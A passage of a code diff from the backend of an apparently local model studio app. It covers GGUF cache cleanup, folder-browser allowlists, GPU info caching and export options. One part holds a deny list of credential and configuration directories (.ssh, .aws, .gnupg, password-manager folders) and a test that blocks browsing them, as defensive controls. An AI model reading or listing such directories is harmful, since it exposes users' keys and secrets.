blob_path = getattr(f, "blob_path", None)
if not blob_path:
continue
name = _cached_repo_file_name(f)
blob_map.setdefault(name, set()).add(Path(blob_path).name)
return blob_map
def _prefer_cache_row(candidate: dict, existing: Optional[dict]) -> bool:
if existing is None:
return True

202
studio/backend/hub/services/models/deletion.py
View file

@ -153,6 +153,30 @@ def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, l
return removed, failures
def _remove_empty_snapshot_dirs(target_repos: list) -> tuple[int, list[str]]:
removed = 0
failures: list[str] = []
for target_repo in target_repos:
repo_path = getattr(target_repo, "repo_path", None)
if not repo_path:
continue
snapshots = Path(repo_path) / "snapshots"
if not snapshots.is_dir():
continue
try:
snap_dirs = [s for s in snapshots.iterdir() if s.is_dir() and not s.is_symlink()]
except OSError:
continue
for snap in snap_dirs:
try:
snap.rmdir()
removed += 1
except OSError as e:
if e.errno != errno.ENOTEMPTY:
failures.append(f"{snap.name}: {e}")
return removed, failures
def _delete_gguf_variant_from_repos(
repo_id: str,
variant: str,
@ -255,6 +279,9 @@ def _delete_gguf_variant_from_repos(
state_purged = download_manifest.purge_state("model", repo_id, variant)
# Reclaim the empty quant folder so it stops 404ing on delete.
removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
removed_dirs += removed_snap_dirs
dir_failures.extend(snap_dir_failures)
if dir_failures:
raise HTTPException(
status_code = 409,
@ -284,6 +311,181 @@ def _delete_gguf_variant_from_repos(
return {"status": "deleted", "repo_id": repo_id, "variant": variant}
def reclaim_replaced_gguf_variant(
repo_id: str,
variant: str,
keep_main_hashes: frozenset[str],
hf_token: Optional[str] = None,
) -> dict:
"""Prune stale main-GGUF files for a variant after a replacement verified.
This is intentionally narrower than user-driven delete: it removes only
same-variant main files whose local blob hash is not in *keep_main_hashes*,
then unlinks their blobs only if no remaining snapshot references them.
Shared companions and sibling variants are left intact.
"""
if not keep_main_hashes:
logger.info(
"Skipping stale GGUF reclaim for %s [%s]: current main hashes unresolved",
repo_id,
variant,
)
return {
"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "unresolved_hashes",
}
if not _is_valid_repo_id(repo_id) or not _is_valid_gguf_variant(variant):
return {
"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "invalid_target",
}
failures: list[str] = []
removed_snapshots = 0
deleted_blobs = 0
deleted_bytes = 0
variant_key = variant.lower()
try:
cache_scans = cache_inventory.all_hf_cache_scans()
except Exception as e:
logger.warning(
"Skipping stale GGUF reclaim for %s [%s]: cache scan failed: %s",
repo_id,
variant,
download_registry.scrub_secrets(str(e), hf_token = hf_token),
)
return {
"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "scan_failed",
}
candidate_repos = [
repo_info
for hf_cache in cache_scans
for repo_info in hf_cache.repos
if str(getattr(repo_info, "repo_type", "")) == "model"
and str(getattr(repo_info, "repo_id", "")).lower() == repo_id.lower()
]
try:
matched_repo_ids = resolve_destructive_repo_ids(
repo_id,
[str(getattr(repo_info, "repo_id", "")) for repo_info in candidate_repos],
noun = "models",
)
except HTTPException as e:
detail = getattr(e, "detail", str(e))
logger.warning(
"Skipping stale GGUF reclaim for %s [%s]: %s",
repo_id,
variant,
download_registry.scrub_secrets(str(detail), hf_token = hf_token),
)
return {
"status": "skipped",
"repo_id": repo_id,
"variant": variant,
"reason": "ambiguous_repo",
}
target_repos = [
repo_info
for repo_info in candidate_repos
if str(getattr(repo_info, "repo_id", "")) in matched_repo_ids
]
for target_repo in target_repos:
repo_dir = Path(target_repo.repo_path) if getattr(target_repo, "repo_path", None) else None
stale_matches: list[tuple[Path, Optional[Path], str]] = []
matches = _repo_file_matches(
target_repo,
lambda name: _is_main_gguf_filename(name)
and extract_quant_label(name).lower() == variant_key,
)
for snap, blob, name in matches:
blob_hash = _blob_hash_from_path(blob) if blob is not None else None
if blob_hash is None or blob_hash in keep_main_hashes:
continue
stale_matches.append((snap, blob, name))
if not stale_matches:
continue
for snap, _blob, name in stale_matches:
try:
if _path_exists_or_symlink(snap):
snap.unlink()
removed_snapshots += 1
except OSError as e:
failures.append(f"{name}: {e}")
ref_counts = _snapshot_blob_reference_counts(repo_dir)
seen_blobs: set[Path] = set()
for _snap, blob, name in stale_matches:
if blob is None:
continue
try:
blob_key = blob.resolve()
except OSError:
blob_key = blob
if blob_key in seen_blobs:
continue
seen_blobs.add(blob_key)
if ref_counts.get(blob_key, 0) > 0:
continue
try:
if blob.exists():
deleted_bytes += blob.stat().st_size
blob.unlink()
deleted_blobs += 1
except OSError as e:
failures.append(f"{name}: {e}")
removed_dirs = 0
dir_failures: list[str] = []
if target_repos:
removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)
removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)
removed_dirs += removed_snap_dirs
dir_failures.extend(snap_dir_failures)
failures.extend(dir_failures)
if failures:
logger.warning(
"Stale GGUF reclaim for %s [%s] left %d failure(s): %s",
repo_id,
variant,
len(failures),
"; ".join(failures[:3]),
)
if removed_snapshots or deleted_blobs or removed_dirs:
cache_inventory.invalidate_hf_cache_scans()
logger.info(
"Reclaimed stale GGUF %s [%s]: snapshots=%d blobs=%d dirs=%d freed=%.1f MB",
repo_id,
variant,
removed_snapshots,
deleted_blobs,
removed_dirs,
deleted_bytes / (1024 * 1024),
)
return {
"status": "reclaimed",
"repo_id": repo_id,
"variant": variant,
"removed_snapshots": removed_snapshots,
"deleted_blobs": deleted_blobs,
"removed_dirs": removed_dirs,
}
def _loaded_id_matches_repo(loaded_id: str, repo_id: str) -> bool:
"""True when *loaded_id* is *repo_id* or a file within it; ``/``-boundary aware so ``org/model`` doesn't match sibling ``org/model-v2``."""
rid = repo_id.lower()

10
studio/backend/hub/services/models/folder_browser.py
View file

@ -27,6 +27,7 @@ from hub.utils.paths import (
studio_root,
well_known_model_dirs,
)
from utils.paths.external_media import linux_run_media_mount_roots
from hub.services.models.common import _safe_is_dir
from hub.services.models.local_inventory import _resolve_hf_cache_dir
@ -175,6 +176,8 @@ def _build_browse_allowlist() -> list[Path]:
candidates.append(resolved)
_add(Path.home())
for p in linux_run_media_mount_roots():
_add(p)
_add(_resolve_hf_cache_dir())
try:
_add(hf_default_cache_dir())
@ -346,6 +349,11 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
)
current = resolved_child
if contains_sensitive_path_component(str(current)):
raise HTTPException(
status_code = 403,
detail = "Credential or configuration directories are not browseable.",
)
if not current.is_dir():
raise HTTPException(
status_code = 400,
@ -485,6 +493,8 @@ def browse_folders_response(
# Home first as the safe fallback.
_add_sug(Path.home())
for p in linux_run_media_mount_roots():
_add_sug(p)
# The HF cache root in use (honors HF_HOME / HF_HUB_CACHE), then the default.
try:
_add_sug(_resolve_hf_cache_dir())

80
studio/backend/hub/services/models/gguf_variants.py
View file

@ -291,6 +291,75 @@ def _partial_transport_for_variant(repo_id: str, variant: str) -> Optional[str]:
return hf_cache_scan.partial_transport_for("model", repo_id, variant)
def _local_main_gguf_blobs_by_quant(repo_id: str) -> dict[str, dict[str, set[str]]]:
"""Map quant -> repo-relative expected GGUF filename -> cached blob hashes.
Shared companions are copied into each main-quant bucket so update checks can
detect mmproj/MTP-only upstream changes without a separate remote call.
"""
result: dict[str, dict[str, set[str]]] = {}
companion_blobs: dict[str, set[str]] = {}
try:
from hub.services.models import cache_inventory
scans = cache_inventory.all_hf_cache_scans()
except Exception as e:
logger.warning("Failed to scan local GGUF blobs for %s: %s", repo_id, e)
return result
target_lower = repo_id.lower()
for hf_cache in scans:
for repo_info in hf_cache.repos:
if str(getattr(repo_info, "repo_type", "")) != "model":
continue
if str(getattr(repo_info, "repo_id", "")).lower() != target_lower:
continue
for path, hashes in cache_inventory._repo_gguf_blob_map(
repo_info,
include_companions = True,
).items():
normalized = str(path).replace("\\", "/")
if not hashes:
continue
if _is_mmproj_filename(normalized) or _is_mtp_drafter_path(normalized):
companion_blobs.setdefault(normalized, set()).update(
str(blob) for blob in hashes if blob
)
continue
quant = extract_quant_label(normalized).lower()
if is_big_endian_gguf_path(normalized, quant):
continue
bucket = result.setdefault(quant, {}).setdefault(normalized, set())
bucket.update(str(blob) for blob in hashes if blob)
if companion_blobs:
for local_blobs in result.values():
for path, hashes in companion_blobs.items():
local_blobs.setdefault(path, set()).update(hashes)
return result
def _variant_update_available_from_requirement(
local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str
) -> bool:
if requirement is None or not local_blobs:
return False
local_by_posix = {path.replace("\\", "/"): blobs for path, blobs in local_blobs.items()}
for expected in requirement.expected_files:
path = str(expected.path).replace("\\", "/")
if not (
is_main_gguf_variant_path(path, variant)
or _is_mmproj_filename(path)
or _is_mtp_drafter_path(path)
):
continue
remote_blob = expected.sha256
if not remote_blob:
continue
local_set = local_by_posix.get(path)
if not local_set or remote_blob not in local_set:
return True
return False
def delete_variant_incomplete_blobs_result(
repo_id: str,
variant: str,
@ -657,9 +726,12 @@ async def get_gguf_variants_response(
_partial_transport_for_variant(repo_id, variant.quant),
)
local_blobs_by_quant = _local_main_gguf_blobs_by_quant(repo_id)
def _variant_detail(v) -> GgufVariantDetail:
is_partial = v.quant in partial_quants
requirement = requirements_by_quant.get(v.quant.lower())
downloaded = _is_fully_downloaded(v) and not is_partial
return GgufVariantDetail(
filename = v.filename,
quant = v.quant,
@ -668,7 +740,13 @@ async def get_gguf_variants_response(
download_size_bytes = (
requirement.download_size_bytes if requirement is not None else v.size_bytes
),
downloaded = _is_fully_downloaded(v) and not is_partial,
downloaded = downloaded,
update_available = downloaded
and _variant_update_available_from_requirement(
local_blobs_by_quant.get(v.quant.lower(), {}),
requirement,
v.quant,
),
partial = is_partial,
partial_transport = (partial_quant_transports.get(v.quant) if is_partial else None),
)

36
studio/backend/hub/storage/scan_folders.py
View file

@ -16,37 +16,14 @@ from datetime import datetime, timezone
from storage.studio_db import get_connection
from hub.utils.paths import normalize_path
from utils.paths.external_media import is_linux_run_media_path
from utils.paths.sensitive import (
contains_sensitive_path_component as _shared_contains_sensitive_path_component,
)
_schema_lock = threading.Lock()
_schema_ready = False
_SENSITIVE_PATH_COMPONENTS = {
".aws",
".azure",
".config",
".docker",
".gcloud",
".gnupg",
".huggingface",
".kaggle",
".kube",
".modelscope",
".ngc",
".local",
".mozilla",
".pki",
".thunderbird",
".ssh",
".1password",
".bitwarden",
".password-store",
"1password",
"bitwarden",
"keychains",
"keyrings",
"mozilla",
"thunderbird",
}
def _denied_path_prefixes() -> list[str]:
@ -76,8 +53,7 @@ def _denied_path_prefixes() -> list[str]:
def _contains_sensitive_path_component(path: str) -> bool:
parts = os.path.normpath(path).split(os.sep)
return any(part.lower() in _SENSITIVE_PATH_COMPONENTS for part in parts)
return _shared_contains_sensitive_path_component(path)
def contains_sensitive_path_component(path: str) -> bool:
@ -142,6 +118,8 @@ def add_scan_folder(path: str) -> dict:
check = os.path.normcase(normalized) if is_win else normalized
for prefix in _denied_path_prefixes():
if check == prefix or check.startswith(prefix + os.sep):
if prefix == "/run" and is_linux_run_media_path(check):
continue
raise ValueError(f"Path under {prefix} is not allowed")
conn = get_connection()

56
studio/backend/hub/tests/test_model_services.py
View file

@ -168,6 +168,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path):
assert exc_info.value.status_code == 403
def test_resolve_browse_target_rejects_sensitive_root(tmp_path):
ssh = tmp_path / "home" / ".ssh"
ssh.mkdir(parents = True)
with pytest.raises(HTTPException) as exc_info:
folder_browser._resolve_browse_target(str(ssh), [ssh])
assert exc_info.value.status_code == 403
def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
home = tmp_path / "home"
(home / ".ssh").mkdir(parents = True)
@ -181,6 +191,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
assert ".ssh" not in names
def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
home = tmp_path / "home"
media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
home.mkdir()
model_dir.mkdir(parents = True)
monkeypatch.setattr(folder_browser.Path, "home", lambda: home)
monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root])
monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf")
monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: [])
monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: [])
allowlist = folder_browser._build_browse_allowlist()
assert media_root.resolve() in allowlist
assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve()
def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path):
# The endpoint creates the cache dir on demand so the desktop "Open folder"
# action works even before the first download.
@ -1632,6 +1660,34 @@ def test_variant_partial_accepts_variant_filtered_legacy_hashes(monkeypatch, tmp
)
def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot(monkeypatch, tmp_path):
"""A verified GGUF update can prune an older snapshot and make that old
directory the newest by mtime. The variant is still complete when another
snapshot satisfies its manifest."""
monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
repo_dir = tmp_path / "cache" / "models--Org--Repo"
old_snapshot = repo_dir / "snapshots" / "old"
new_snapshot = repo_dir / "snapshots" / "new"
old_snapshot.mkdir(parents = True)
new_snapshot.mkdir(parents = True)
(old_snapshot / "model-Q8_0.gguf").write_bytes(b"sibling")
(new_snapshot / "model-Q4_K_M.gguf").write_bytes(b"new")
assert download_manifest.write_manifest(
"model",
"Org/Repo",
"Q4_K_M",
[download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 3)],
"http",
)
assert not inventory_scan.is_variant_partial(
"Org/Repo",
"Q4_K_M",
snapshot_dir = old_snapshot,
repo_cache_dir = repo_dir,
)
def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch, tmp_path):
async def _run_inline(fn, *args, **kwargs):
return fn(*args, **kwargs)

5
studio/backend/hub/utils/gguf_plan.py
View file

@ -36,7 +36,10 @@ def sibling_sha256(sibling) -> Optional[str]:
value = lfs.get("sha256")
else:
value = getattr(lfs, "sha256", None)
return value if isinstance(value, str) and value else None
if isinstance(value, str) and value:
return value
blob_id = getattr(sibling, "blob_id", None)
return blob_id if isinstance(blob_id, str) and blob_id else None
def sibling_size(sibling) -> int:

46
studio/backend/hub/utils/inventory_scan.py
View file

@ -387,9 +387,55 @@ def _manifest_partial(
)
if resolved is None:
return True
if repo_type == "model" and variant is not None:
if download_manifest.verify_against_disk(manifest, resolved).ok:
return False
for candidate in _manifest_snapshot_dirs(repo_type, repo_id, repo_cache_dir):
if candidate == resolved:
continue
if download_manifest.verify_against_disk(manifest, candidate).ok:
return False
return True
return not download_manifest.verify_against_disk(manifest, resolved).ok
def _manifest_snapshot_dirs(
repo_type: RepoType,
repo_id: str,
repo_cache_dir: Optional[Path] = None,
) -> list[Path]:
repo_dirs = (
[repo_cache_dir]
if repo_cache_dir is not None
else list(iter_repo_cache_dirs(repo_type, repo_id))
)
snapshots: list[Path] = []
seen: set[str] = set()
for repo_dir in repo_dirs:
if repo_dir is None:
continue
snapshots_dir = repo_dir / "snapshots"
try:
if not snapshots_dir.is_dir():
continue
entries = list(snapshots_dir.iterdir())
except OSError:
continue
for entry in entries:
try:
if not entry.is_dir():
continue
resolved = entry.resolve()
except OSError:
continue
key = str(resolved)
if key in seen:
continue
seen.add(key)
snapshots.append(resolved)
return snapshots
def is_snapshot_partial(
repo_type: RepoType,
repo_id: str,

15
studio/backend/hub/workers/hf_download.py
View file

@ -653,6 +653,21 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mod
snapshot_path,
metadata_unavailable = metadata_unavailable,
)
if plan is not None:
try:
from hub.services.models.deletion import reclaim_replaced_gguf_variant
reclaim_replaced_gguf_variant(
repo_id,
variant,
plan.main_hashes,
hf_token,
)
except Exception as e:
print(
f"Verified GGUF update for {repo_id} [{variant}], but stale-cache "
f"reclaim failed ({type(e).__name__}: {e})",
file = sys.stderr,
)
def _download_dataset(repo_id: str, hf_token: str | None, mode: str) -> None:

249
studio/backend/main.py
View file

@ -12,6 +12,8 @@ from pathlib import Path as _Path
import asyncio
from dataclasses import asdict
from typing import Any, Optional
# Suppress C-level dependency warnings globally
os.environ["PYTHONWARNINGS"] = "ignore"
@ -24,6 +26,22 @@ os.environ["PYTHONWARNINGS"] = "ignore"
# process is covered before its heavy ML imports.
os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID")
# Windows terminals default to the active system code page. Reconfigure
# stdout/stderr before the startup banner so non-ASCII output cannot crash the
# backend process.
if sys.platform == "win32":
for _win_stream in (sys.stdout, sys.stderr):
if _win_stream is not None and hasattr(_win_stream, "reconfigure"):
try:
_win_stream.reconfigure(encoding = "utf-8", errors = "replace")
except Exception:
pass
del _win_stream
_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0
_system_gpu_cache_lock = threading.Lock()
_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None
# ── Windows AMD ROCm DLL injection ──────────────────────────────────────────
# Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with
# os.add_dll_directory() so amdhip64.dll etc. are found before any torch import.
@ -214,7 +232,6 @@ import shutil
import warnings
from contextlib import asynccontextmanager
from importlib.metadata import PackageNotFoundError, version as package_version
from typing import Optional
from urllib.parse import urlparse
@ -441,9 +458,30 @@ def _start_llama_cpp_probes_if_enabled(app: FastAPI) -> None:
).start()
def _warm_rag_embedder() -> None:
"""Warm RAG embeddings without blocking backend readiness."""
try:
from storage import rag_db
if not rag_db.RAG_AVAILABLE:
return
from core.rag import embeddings
embeddings.warm()
except Exception:
pass
@asynccontextmanager
async def lifespan(app: FastAPI):
"""Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache."""
import time as _time
_lifespan_started = _time.perf_counter()
import structlog as _structlog
_lifespan_log = _structlog.get_logger(__name__)
clear_unsloth_compiled_cache()
# Remove stale .venv_overlay from old versions; switching now uses .venv_t5/.
@ -454,6 +492,11 @@ async def lifespan(app: FastAPI):
# Detect hardware first — sets the DEVICE global used everywhere.
detect_hardware()
_lifespan_log.info(
"lifespan hardware detection completed in %.1fms",
(_time.perf_counter() - _lifespan_started) * 1000,
)
# Apple Silicon with MLX missing => Train/Export are greyed out (chat-only).
# Reinstall mlx by name on a background thread (off the critical path) and
# re-detect, so a reinstall/update that dropped mlx self-heals. No-op
@ -465,7 +508,13 @@ async def lifespan(app: FastAPI):
import structlog as _structlog
_structlog.get_logger(__name__).debug("mlx autorepair skipped: %s", _mlx_exc)
# Reap download workers orphaned by a previous crash before new downloads start.
# Reap workers/runs orphaned by a previous crash before new work starts.
try:
from storage.studio_db import cleanup_orphaned_runs
cleanup_orphaned_runs()
except Exception as exc:
_lifespan_log.warning("cleanup_orphaned_runs failed at startup: %s", exc)
reap_hub_orphan_workers()
# llama.cpp probes: capability (MTP support) + freshness (release age).
@ -479,35 +528,28 @@ async def lifespan(app: FastAPI):
app.state.llama_cpp_freshness = None
_start_llama_cpp_probes_if_enabled(app)
from storage.studio_db import cleanup_orphaned_runs
try:
cleanup_orphaned_runs()
from storage.rag_db import reconcile_orphaned_ingestion_jobs
reconcile_orphaned_ingestion_jobs()
except Exception as exc:
import structlog
structlog.get_logger(__name__).warning("cleanup_orphaned_runs failed at startup: %s", exc)
_lifespan_log.warning("reconcile_orphaned_ingestion_jobs failed at startup: %s", exc)
_start_helper_precache_if_enabled()
threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start()
# Warm the RAG embedder so the first upload skips the cold load. Non-fatal.
def _warm_rag_embedder():
try:
from storage import rag_db
# Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set).
from core.inference.llama_keepwarm import idle_unload_loop
if not rag_db.RAG_AVAILABLE:
return
from core.rag import embeddings
app.state.idle_unload_task = asyncio.create_task(idle_unload_loop())
embeddings.warm()
except Exception:
pass
threading.Thread(target = _warm_rag_embedder, daemon = True).start()
# Initialize RSA key pair for API key encryption (external providers)
# Initialize RSA key pair for API key encryption (external providers).
from core.inference.key_exchange import init_key_pair
init_key_pair()
_lifespan_log.info(
"lifespan pre-auth setup completed in %.1fms",
(_time.perf_counter() - _lifespan_started) * 1000,
)
if storage.ensure_default_admin():
bootstrap_pw = storage.get_bootstrap_password()
@ -522,8 +564,21 @@ async def lifespan(app: FastAPI):
print("=" * 60 + "\n")
else:
app.state.bootstrap_password = storage.get_bootstrap_password()
_lifespan_log.info(
"lifespan startup completed in %.1fms",
(_time.perf_counter() - _lifespan_started) * 1000,
)
yield
_idle_task = getattr(app.state, "idle_unload_task", None)
if _idle_task is not None:
_idle_task.cancel()
try:
await _idle_task
except asyncio.CancelledError:
pass
from core.inference.llama_http import aclose as _close_llama_http
await _close_llama_http()
@ -846,6 +901,11 @@ app.add_middleware(
upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes,
)
# Tracks in-flight inference requests for idle auto-unload; off -> passthrough.
from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402
app.add_middleware(LlamaKeepWarmMiddleware)
from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402
@ -909,6 +969,21 @@ install_api_error_handlers(app)
# ============ Health and System Endpoints ============
@app.get("/api/liveness")
async def liveness_check():
"""Cheap process liveness for desktop port validation."""
return {
"status": "alive",
"service": "Unsloth UI Backend",
"desktop_protocol_version": 1,
"desktop_manageability_version": 1,
"supports_desktop_auth": True,
"supports_desktop_backend_ownership": True,
"studio_root_id": _studio_root_id(),
**({"desktop_owner": owner} if (owner := _desktop_owner()) else {}),
}
@app.get("/api/health")
async def health_check(request: Request):
"""Liveness plus launcher capability bits; host fingerprint gated on a bearer.
@ -1008,8 +1083,57 @@ async def shutdown_server(request: Request, current_subject: str = Depends(get_c
return {"status": "shutting_down"}
def _get_cached_system_gpu_info(logger) -> dict[str, Any]:
"""Return merged GPU visibility/utilization with bounded live-probe churn."""
import time
from utils.hardware import get_backend_visible_gpu_info, get_visible_gpu_utilization
global _system_gpu_cache
now = time.monotonic()
with _system_gpu_cache_lock:
if _system_gpu_cache is not None:
cached_at, cached_gpu_info = _system_gpu_cache
if now - cached_at < _SYSTEM_GPU_CACHE_TTL_SECONDS:
return cached_gpu_info
try:
visibility_info = get_backend_visible_gpu_info() or {"available": False, "devices": []}
except Exception as e:
logger.debug(f"Failed to get GPU visibility info: {e}")
visibility_info = {"available": False, "devices": []}
try:
utilization_info = get_visible_gpu_utilization() or {"devices": []}
except Exception as e:
logger.debug(f"Failed to get GPU utilization info: {e}")
utilization_info = {"devices": []}
util_devices = {d.get("index"): d for d in utilization_info.get("devices", [])}
enriched_devices = []
for dev in visibility_info.get("devices", []):
idx = dev.get("index")
util = util_devices.get(idx, {})
total_vram = util.get("vram_total_gb") or dev.get("memory_total_gb") or 0
used_vram = util.get("vram_used_gb") or 0
enriched_dev = dict(dev)
enriched_dev["vram_used_gb"] = used_vram
enriched_dev["vram_free_gb"] = round(total_vram - used_vram, 2) if total_vram else 0
enriched_dev["vram_utilization_pct"] = util.get("vram_utilization_pct")
enriched_devices.append(enriched_dev)
gpu_info = {
"available": visibility_info.get("available", False),
"devices": enriched_devices,
}
_system_gpu_cache = (time.monotonic(), gpu_info)
return gpu_info
@app.get("/api/system")
async def get_system_info(current_subject: str = Depends(get_current_subject)):
def get_system_info(current_subject: str = Depends(get_current_subject)):
"""Get system information.
Auth-gated: the response (platform, Python/GPU, memory, ML packages) can
@ -1018,31 +1142,84 @@ async def get_system_info(current_subject: str = Depends(get_current_subject)):
"""
import platform
import psutil
from utils.hardware import get_device
import os
import time
import logging
from utils.hardware import get_device, export_capability
from utils.hardware.hardware import _backend_label
visibility_info = get_backend_visible_gpu_info()
gpu_info = {
"available": visibility_info["available"],
"devices": visibility_info["devices"],
}
logger = logging.getLogger(__name__)
gpu_info = _get_cached_system_gpu_info(logger)
# CPU & Memory
memory = psutil.virtual_memory()
try:
cpu_freq = psutil.cpu_freq()
except Exception as e:
logger.debug(f"Failed to get CPU frequency: {e}")
cpu_freq = None
try:
disk = psutil.disk_usage(os.path.abspath(os.sep))
except Exception as e:
logger.debug(f"Failed to get disk usage: {e}")
disk = None
try:
current_process = psutil.Process(os.getpid())
process_used_mb = round(current_process.memory_info().rss / 1024**2)
except Exception as e:
logger.debug(f"Failed to get current process memory: {e}")
process_used_mb = 0
try:
boot_time = psutil.boot_time()
except Exception as e:
logger.debug(f"Failed to get boot time: {e}")
boot_time = None
# Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors).
from importlib.metadata import PackageNotFoundError, version as pkg_version
ml_packages = {}
for pkg in ("torch", "transformers"):
try:
ml_packages[pkg] = pkg_version(pkg)
except PackageNotFoundError:
pass
except Exception as e:
logger.debug(f"Failed to read {pkg} version: {e}")
return {
"platform": platform.platform(),
"python_version": platform.python_version(),
# _backend_label so /api/system reports "rocm" (not "cuda") on AMD,
# matching /api/hardware and /api/gpu-visibility.
"device_backend": _backend_label(get_device()),
"cpu_count": psutil.cpu_count(),
"cpu_count": psutil.cpu_count(logical = True),
"uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None,
"cpu": {
"logical_count": psutil.cpu_count(logical = True),
"physical_count": psutil.cpu_count(logical = False),
"usage_percent": psutil.cpu_percent(interval = None),
"frequency_mhz": round(cpu_freq.current, 2)
if cpu_freq and cpu_freq.current is not None
else None,
},
"memory": {
"total_gb": round(memory.total / 1e9, 2),
"available_gb": round(memory.available / 1e9, 2),
"total_gb": round(memory.total / 1024**3, 2),
"available_gb": round(memory.available / 1024**3, 2),
"percent_used": memory.percent,
"process_used_mb": process_used_mb,
},
"disk": {
"total_gb": round(disk.total / 1e9, 2) if disk else 0,
"free_gb": round(disk.free / 1e9, 2) if disk else 0,
"percent_used": disk.percent if disk else 0,
},
"gpu": gpu_info,
"ml_packages": ml_packages,
# Export capability + torch-aware reason. See /api/system/hardware.
**export_capability(),
}
@ -1065,11 +1242,13 @@ def get_hardware_info(
method auto-selection. Sync def (not async): hardware/detail probes can
shell out, and FastAPI runs sync endpoints in a threadpool.
"""
from utils.hardware import get_gpu_summary, get_package_versions
from utils.hardware import get_gpu_summary, get_package_versions, export_capability
body = {
"gpu": get_gpu_summary(),
"versions": get_package_versions(),
# Export capability + torch-aware reason; the Export UI grays out with the message.
**export_capability(),
}
if include_details:
from utils.llama_cpp_update import get_installed_llama_version

46
studio/backend/models/export.py
View file

@ -6,7 +6,7 @@
from pathlib import Path, PureWindowsPath
from pydantic import BaseModel, Field, field_validator
from typing import List, Optional, Literal, Dict, Any
from typing import List, Optional, Literal, Dict, Any, Union
def _validate_save_directory(value: str) -> str:
@ -158,9 +158,24 @@ class ExportCommonOptions(BaseModel):
class ExportMergedModelRequest(ExportCommonOptions):
"""Request for exporting a merged PEFT model."""
format_type: Literal["16-bit (FP16)", "4-bit (FP4)"] = Field(
format_type: Literal[
"16-bit (FP16)",
description = "Export precision / format for the merged model",
"4-bit (FP4)",
"FP8 (compressed-tensors)",
"NVFP4 (compressed-tensors)",
] = Field(
"16-bit (FP16)",
description = "Export precision / format for the merged model. The compressed-tensors "
"options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).",
)
compressed_method: Optional[str] = Field(
None,
description = "Optional quantized-export alias. Either a compressed-tensors scheme "
"(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) "
"from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias "
"('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. "
"When set, it overrides format_type. Lets the export UI expose the full set of formats "
"beyond the quick buttons.",
)
@ -183,9 +198,10 @@ class ExportGGUFRequest(BaseModel):
def _check_save_directory(cls, v):
return _validate_save_directory(v)
quantization_method: str = Field(
quantization_method: Union[str, List[str]] = Field(
"Q4_K_M",
description = 'GGUF quantization method (e.g. "Q4_K_M")',
description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list '
'(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.',
)
push_to_hub: bool = Field(
False,
@ -199,9 +215,27 @@ class ExportGGUFRequest(BaseModel):
None,
description = "Hugging Face token for GGUF upload",
)
imatrix: bool = Field(
False,
description = "Use an importance matrix (auto-downloads the upstream unsloth GGUF "
"imatrix). Required for the IQ low-bit quants such as iq2_xxs / iq4_xs.",
)
imatrix_path: Optional[str] = Field(
None,
description = "Path to a custom imatrix file; overrides the auto-download when set.",
)
class ExportLoRAAdapterRequest(ExportCommonOptions):
"""Request for exporting only the LoRA adapter (not merged)."""
# Uses fields from ExportCommonOptions only
gguf: bool = Field(
False,
description = "If True, also convert the adapter to a GGUF LoRA file "
"(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.",
)
gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field(
"q8_0",
description = "GGUF LoRA output float type (only used when gguf=True). "
"Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).",
)

21
studio/backend/models/inference.py
View file

@ -106,8 +106,7 @@ class LoadRequest(BaseModel):
"Extra arguments forwarded verbatim to llama-server for GGUF models. "
"One token per list entry, e.g. ['--top-k', '20', '--seed', '42']. "
"Studio-managed flags (model identity, port, context length, GPU placement, "
"auth, --flash-attn, --no-context-shift, --jinja) are rejected. Ignored for "
"non-GGUF models."
